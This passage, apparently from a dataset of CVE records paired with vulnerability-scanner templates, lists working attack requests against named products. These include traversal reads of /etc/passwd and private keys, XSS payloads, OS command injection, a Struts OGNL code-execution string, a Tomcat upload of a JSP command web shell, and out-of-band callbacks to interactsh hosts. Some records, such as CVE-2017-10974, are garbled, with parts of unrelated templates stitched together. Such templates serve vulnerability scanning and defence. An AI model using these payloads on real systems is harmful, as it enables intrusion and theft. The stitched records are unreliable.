{{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlogin_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW\\n'], 'matchers': [{'type': 'regex', 'part': 'header', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)interact\\\\.sh\\\\/?(\\\\/|[^.].*)?$']}, {'type': 'status', 'status': [302]}]}]"], ["CVE-2016-1000127", "Reflected XSS in wordpress plugin ajax-random-post v2.00", 480, [], 6.1, " cpe:2.3:a:ajax-random-post project:ajax-random-post", "[{'path': ['{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'type': 'word', 'part': 'body', 'words': ['']}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'matchers-condition': 'and'}]"], ["CVE-2016-10367", "The unauthenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass", 1307, [], 7.5, " cpe:2.3:a:opsview:opsview:4.5.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'], 'matchers-condition': 'and', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [404]}]}]"], ["CVE-2016-1000141", "Reflected XSS in wordpress plugin page-layout-builder v1.9.3", 702, [], 6.1, " cpe:2.3:a:page-layout-builder project:page-layout-builder", "[{'path': ['{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET', 'matchers': [{'type': 'word', 'part': 'body', 'words': ['']}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and'}]"], ["CVE-2016-1000129", "Reflected XSS in wordpress plugin defa-online-image-protector v3.3", 460, [], 6.1, " cpe:2.3:a:defa-online-image-protector project:defa-online-image-protector", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/defa-online-image-protector/redirect.php?r=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000137", "Hero Maps Pro 2.1.0 - Reflected Cross-Site Scripting (XSS)", 499, [], 6.1, " cpe:2.3:a:hero-maps-pro project:hero-maps-pro", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET', 'matchers': [{'part': 'body', 'type': 'word', 'words': ['']}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2016-7552", "On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.", 23, [], 9.8, " cpe:2.3:a:trendmicro:threat discovery appliance:2.6.1062:r1", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['Memory map'], 'type': 'word', 'part': 'body'}], 'path': ['{{BaseURL}}/cgi-bin/logoff.cgi'], 'headers': {'Cookie': 'session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf'}, 'matchers-condition': 'and'}]"], ["CVE-2016-1000135", "Reflected XSS in wordpress plugin hdw-tube v1.2", 455, [], 6.1, " cpe:2.3:a:hdw-tube project:hdw-tube", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/hdw-tube/mychannel.php?channel=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-5649", "Vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. Attacker can use this password to gain administrator access of the targeted routers web interface.", 380, [], 9.8, " cpe:2.3:o:netgear:dgn2200 firmware:1.0.0.50 7.0.50", "[{'matchers': [{'status': [200], 'type': 'status'}, {'words': ['Smart Wizard Result '], 'type': 'word', 'part': 'body'}], 'raw': ['GET /BSW_cxttongr.htm HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\n'], 'extractors': [{'group': 1, 'type': 'regex', 'name': 'password', 'part': 'body', 'regex': ['Success \"([a-z]+)\"']}], 'matchers-condition': 'and'}]"], ["CVE-2016-6601", "Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile", 1397, [], 7.5, " cpe:2.3:a:zohocorp:webnms framework:5.2", "[{'method': 'GET', 'matchers-condition': 'and', 'path': ['{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd'], 'matchers': [{'type': 'regex', 'regex': ['root:.*:0:0']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-7921", "An Improper Authentication issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.", 47, [], 10.0, " cpe:2.3:o:hikvision:ds-2cd2032-i firmware:-", "[{'method': 'GET', 'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['application/xml'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK']}]"], ["CVE-2017-18518", "The bws-smtp plugin before 1.1.0 for WordPress has multiple XSS issues.\n", 2079, [], 6.1, " cpe:2.3:a:bestwebsoft:smtp", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"SMTP by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-smtp/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-14135", "enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py in the webadmin plugin for opendreambox 2.0.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI", 967, [], 9.8, " cpe:2.3:a:dreambox:opendreambox:2.0", "[{'raw': ['GET /webadmin/script?command=|%20nslookup%20{{interactsh-url}} HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': ['/bin/sh', '/usr/script'], 'part': 'body', 'condition': 'and'}, {'type': 'word', 'words': ['dns'], 'part': 'interactsh_protocol'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-7391", "A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.", 40, [], 6.1, " cpe:2.3:a:magmi project:magmi:0.7.22", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['\"><'], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3E(document.domain);%3C/script%3E%3C']}]"], ["CVE-2017-9506", "The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).", 43, [], 6.1, " cpe:2.3:a:atlassian:oauth:1.3.0", "[{'matchers': [{'words': ['http'], 'type': 'word', 'part': 'interactsh_protocol'}], 'raw': ['GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1\\nHost: {{Hostname}}\\nOrigin: {{BaseURL}}\\nConnection: close\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\\nAccept-Language: en-US,en;q=0.9\\n']}]"], ["CVE-2017-12637", "Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.", 50, [], 7.5, " cpe:2.3:a:sap:netweaver:7.50", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['WEB-INF', 'META-INF'], 'condition': 'and', 'type': 'word', 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/..']}]"], ["CVE-2017-16894", "Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.\n", 1576, [], 7.5, " cpe:2.3:a:laravel:laravel", "[{'path': ['{{BaseURL}}/.env'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['APP_NAME=', 'APP_DEBUG=', 'DB_PASSWORD='], 'condition': 'and'}, {'part': 'header', 'type': 'word', 'words': ['application/octet-stream']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2017-14535", "Trixbox - 2.8.0.4 OS Command Injection Vulnerability", 328, [], 8.8, " cpe:2.3:a:netfortris:trixbox:2.8.0.4", "[{'matchers-condition': 'and', 'raw': ['GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\nAccept-Language: de,en-US;q=0.7,en;q=0.3\\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\\nConnection: close\\nCache-Control: max-age=0\\n'], 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-10974", "Yaws 1.91 allows Unauthenticated Remote File Disclosure via HTTP Directory Traversal with /%5C../ to port 8080", 874, [], 7.5, " cpe:2.3:a:yaws:yaws:1.91", "[{'method': 'GET', 'path': ['{{BaseURL}}/%5C../ssl/yaws-key.pem'], 'matchers': [{'words': ['BEGIN RSA PRIVATE KEY'], 'type': 'word'}, {'type': 'status', 'status': [200]}, {'dsl': ['!contains(tolower(body), \"\\\\\">All\")', 'contains(body_3, \"PDF & Print by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/pdf-print/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11586", "dayrui FineCms 5.0.9 has URL Redirector Abuse via the url parameter in a sync action.\n", 1382, [], 6.1, " cpe:2.3:a:finecms:finecms", "[{'cookie-reuse': True, 'raw': ['POST /index.php?s=member&c=login&m=index HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\\n\\nback=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1\\n', 'GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers': [{'part': 'header', 'regex': ['Refresh:(.*)url=http:\\\\/\\\\/interact\\\\.sh'], 'type': 'regex'}]}]"], ["CVE-2017-16806", "Ulterius Server < 1.9.5.0 - Directory Traversal", 384, [], 7.5, " cpe:2.3:a:ulterius:ulterius server:1.5.6.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini', '{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd'], 'matchers-condition': 'and', 'matchers': [{'status': [200], 'type': 'status'}, {'part': 'body', 'regex': ['root:[x*]:0:0:', '\\\\[(font|extension|file)s\\\\]'], 'conditon': 'or', 'type': 'regex'}]}]"], ["CVE-2017-18537", "The visitors-online plugin before 1.0.0 for WordPress has multiple XSS issues.\n", 2070, [], 6.1, " cpe:2.3:a:bestwebsoft:visitors online", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Visitors Online by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/visitors-online/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18564", "The sender plugin before 1.2.1 for WordPress has multiple XSS issues.\n", 2072, [], 6.1, " cpe:2.3:a:bestwebsoft:sender", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Sender by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/sender/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-12615", "By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.\nThis is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.\nHowever, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}\nTomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.\n", 39, [], 8.1, " cpe:2.3:a:apache:tomcat:7.0", "[{'method': 'PUT', 'path': ['{{BaseURL}}/poc.jsp/'], 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': '<%@ page import=\"java.util.*,java.io.*\"%>\\n<%\\nif (request.getParameter(\"cmd\") != null) {\\n out.println(\"Command: \" + request.getParameter(\"cmd\") + \"
\");\\n Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\\n OutputStream os = p.getOutputStream();\\n InputStream in = p.getInputStream();\\n DataInputStream dis = new DataInputStream(in);\\n String disr = dis.readLine();\\n while ( disr != null ) {\\n out.println(disr);\\n disr = dis.readLine();\\n }\\n }\\n%>\\n'}, {'method': 'GET', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0'], 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd']}]"], ["CVE-2017-5521", "An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server.", 36, [], 8.1, " cpe:2.3:o:netgear:r6200 firmware:1.0.1.56 1.0.43", "[{'method': 'GET', 'matchers': [{'words': ['right\">Router\\\\s*Admin\\\\s*Username<', 'right\">Router\\\\s*Admin\\\\s*Password<'], 'condition': 'and', 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/passwordrecovered.cgi?id=nuclei']}]"], ["CVE-2017-5638", "Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker\u2019s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.", 29, [], 10.0, " cpe:2.3:a:apache:struts:2.3.5", "[{'matchers': [{'words': ['X-Hacker: Bounty Plz'], 'type': 'word', 'part': 'header'}], 'raw': [\"GET / HTTP/1.1\\nHost: {{Hostname}}\\nAccept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1\\nAccept-Language: en\\nContent-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data\\nConnection: Keep-Alive\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)\\nPragma: no-cache\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\\n\"]}]"], ["CVE-2017-14651", "WSO2 Data Analytics Server 3.1.0 has XSS in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.", 574, [], 4.8, " cpe:2.3:a:wso2:api manager:2.1.0", "[{'matchers': [{'type': 'word', 'words': ['', 'Failed to add new collection'], 'part': 'body', 'condition': 'and'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}], 'method': 'GET', 'path': ['{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=(document.domain)%3E'], 'matchers-condition': 'and'}]"], ["CVE-2017-3528", "Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect", 326, [], 5.4, " cpe:2.3:a:oracle:applications framework:12.1.3", "[{'method': 'GET', 'matchers': [{'words': ['noresize src=\"/\\\\example.com?configName='], 'part': 'body', 'type': 'word'}], 'path': ['{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com']}]"], ["CVE-2017-9841", "Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a \"'], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-4011", "McAfee Network Data Loss Prevention (NDLP) 9.3.x allows remote attackers to get session/cookie information via modification of the HTTP request.", 623, [], 6.1, " cpe:2.3:a:mcafee:network data loss prevention", "[{'path': ['{{BaseURL}}'], 'method': 'GET', 'matchers-condition': 'and', 'headers': {'User-Agent': \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';(/XSS/);//\"}, 'matchers': [{'part': 'body', 'words': [\"var ua='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';(/XSS/);//\"], 'type': 'word'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2017-12611", "In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.", 27, [], 9.8, " cpe:2.3:a:apache:struts:2.0.1", "[{'method': 'POST', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D']}]"], ["CVE-2017-17562", "Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.", 33, [], 8.1, " cpe:2.3:a:embedthis:goahead", "[{'payloads': {'endpoint': ['admin', 'apply', 'non-CA-rev', 'cgitest', 'checkCookie', 'check_user', 'chn/liveView', 'cht/liveView', 'cnswebserver', 'config', 'configure/set_link_neg', 'configure/swports_adjust', 'eng/liveView', 'firmware', 'getCheckCode', 'get_status', 'getmac', 'getparam', 'guest/Login', 'home', 'htmlmgr', 'index', 'index/login', 'jscript', 'kvm', 'liveView', 'login', 'login.asp', 'login/login', 'login/login-page', 'login_mgr', 'luci', 'main', 'main-cgi', 'manage/login', 'menu', 'mlogin', 'netbinary', 'nobody/Captcha', 'nobody/VerifyCode', 'normal_userLogin', 'otgw', 'page', 'rulectl', 'service', 'set_new_config', 'sl_webviewer', 'ssi', 'status', 'sysconf', 'systemutil', 't/out', 'top', 'unauth', 'upload', 'variable', 'wanstatu', 'webcm', 'webmain', 'webproc', 'webscr', 'webviewLogin', 'webviewLogin_m64', 'webviewer', 'welcome']}, 'raw': ['GET /cgi-bin/\u00a7endpoint\u00a7?LD_DEBUG=help HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\\nAccept: */*\\nConnection: close\\n'], 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['environment variable', 'display library search paths'], 'condition': 'and', 'type': 'word'}], 'attack': 'sniper', 'matchers-condition': 'and'}]"], ["CVE-2017-14524", "OpenText Documentum Administrator 7.2.0180.0055 is susceptible to multiple open redirect vulnerabilities. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.\n", 1571, [], 6.1, " cpe:2.3:a:opentext:documentum administrator:7.2.0180.0055", "[{'path': ['{{BaseURL}}/xda/help/en/default.htm?startat=//oast.me'], 'matchers': [{'part': 'header', 'type': 'regex', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_]*\\\\.)?oast\\\\.me(?:\\\\s*?)$']}], 'method': 'GET'}]"], ["CVE-2017-18496", "The htaccess plugin before 1.7.6 for WordPress has multiple XSS issues.\n", 2055, [], 6.1, " cpe:2.3:a:bestwebsoft:htaccess", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Htaccess by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/htaccess/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-15647", "On FiberHome routers, Directory Traversal exists in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.", 524, [], 7.5, " cpe:2.3:o:fiberhome:routerfiberhome firmware", "[{'path': ['{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth'], 'matchers': [{'regex': ['root:.*:0:0'], 'type': 'regex'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2017-5982", "Insufficient validation of user input is performed on this URL resulting in a local file inclusion vulnerability.", 864, [], 7.5, " cpe:2.3:a:kodi:kodi:17.1", "[{'matchers': [{'regex': ['root:[x*]:0:0'], 'type': 'regex'}, {'status': [200], 'type': 'status'}], 'method': 'GET', 'path': ['{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd'], 'matchers-condition': 'and'}]"], ["CVE-2017-18505", "The twitter-plugin plugin before 2.55 for WordPress has XSS.\n", 2068, [], 6.1, " cpe:2.3:a:bestwebsoft:twitter button", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Twitter Button by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/twitter-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-9822", "DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected to deserialization vulnerability that leads to Remote Code Execution (RCE)", 375, [], 8.8, " cpe:2.3:a:dnnsoftware:dotnetnuke", "[{'matchers-condition': 'and', 'raw': ['GET /__ HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0\\nAccept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01\\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\\nAccept-Encoding: gzip, deflate\\nX-Requested-With: XMLHttpRequest\\nConnection: close\\nCookie: dnn_IsMobile=False; DNNPersonalization=WriteFileC:\\\\Windows\\\\win.ini\\n'], 'matchers': [{'condition': 'and', 'type': 'word', 'words': ['[extensions]', 'for 16-bit app support'], 'part': 'body'}, {'type': 'status', 'status': [404]}]}]"], ["CVE-2017-9791", "The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.", 41, [], 9.8, " cpe:2.3:a:apache:struts:2.3.1", "[{'matchers': [{'words': ['Content-Type: text/html'], 'type': 'word', 'part': 'header'}, {'condition': 'and', 'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [200]}], 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': 